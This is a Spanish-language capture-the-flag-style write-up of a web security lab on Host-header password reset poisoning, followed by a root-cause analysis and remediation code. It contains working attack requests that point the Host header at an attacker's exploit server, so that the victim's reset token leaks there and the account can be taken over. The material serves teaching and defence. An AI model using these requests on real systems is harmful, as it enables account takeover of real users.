← Writeups

Basic password reset poisoning

Password reset poisoning vía Host header: el enlace de reset se construye con el Host de la request, redirigiendo el token hacia el servidor del atacante para tomar la cuenta de carlos.

Target Overview & Vulnerability Summary

El lab host-header/exploiting/password-reset-poisoning/lab-host-header-basic-password-reset-poisoning es vulnerable a password reset poisoning: el correo de reset construye la URL del enlace usando el valor del header Host de la request. Modificando el Host hacia el exploit server, el enlace de reset entregado a la víctima apunta al servidor del atacante, que captura el token y resetea la contraseña de carlos.

Campo Valor
Severidad Alta (apropiación de cuenta vía token de reset exfiltrado)
Endpoint vulnerable POST /forgot-password
Root cause Construcción del enlace de reset con el header Host no validado (Host header poisoning)

Credenciales del laboratorio: wiener:peter. Los correos del usuario propio se leen vía el email client del exploit server. carlos hace clic en cualquier enlace que reciba.

Technical Breakdown & Exploitation Flow

1. Intercepción de la request de reset

Se captura la request POST /forgot-password:

POST /forgot-password HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded

csrf=<CSRF_TOKEN>&username=carlos

2. Manipulación del Host

Se modifica el header Host para apuntar al exploit server:

POST /forgot-password HTTP/2
Host: exploit-<ID>.exploit-server.net
Content-Type: application/x-www-form-urlencoded

csrf=<CSRF_TOKEN>&username=carlos

El servidor procesa el reset para carlos y genera el correo con el enlace construido a partir del Host:

https://exploit-<ID>.exploit-server.net/forgot-password?user=carlos&token=<RESET_TOKEN>

3. Captura del token y reset

  1. El correo llega al buzón de carlos (el enlace apunta al exploit server).
  2. carlos hace clic: la request con el token llega al exploit server y se registra en los logs de acceso.
  3. El atacante lee los logs y extrae el RESET_TOKEN.
  4. Con el token, accede al formulario de reset legítimo:
https://<LAB-ID>.web-security-academy.net/forgot-password?user=carlos&token=<RESET_TOKEN>
  1. Establece una nueva contraseña para carlos e inicia sesión con ella, resolviendo el lab.

Root Cause Analysis

La causa raíz es confiar en el header Host para construir URLs absolutas de negocio (el enlace de reset). El header Host es definido por el cliente y no tiene garantía de autenticidad: el servidor lo interpola en la plantilla del correo sin validar que pertenezca al host real. El token de reset, que debería viajar solo por canales controlados por la app, termina enviándose a un host controlado por el atacante — transforma una exfiltración de link en apropiación de cuenta.

Secure Remediation

  • No derivar URLs absolutas del header Host. Usar una configuración de host canónico (APP_BASE_URL) server-side:
BASE_URL = os.environ["APP_BASE_URL"]   # host canónico de confianza

def forgot_password(request):
    reset_url = f"{BASE_URL}/forgot-password?user={user}&token={token}"
    send_email(reset_url, to=user_email)
  • Validar el Host contra la lista blanca de hosts propios y rechazar requests con hosts desconocidos (incluyendo la práctica de usar el header como proxy routing sin validación).
  • En proxies, usar una cabecera interna de confianza (p. ej. configuración de X-Forwarded-Host solo desde el load balancer y sanitizada), nunca el Host crudo del cliente.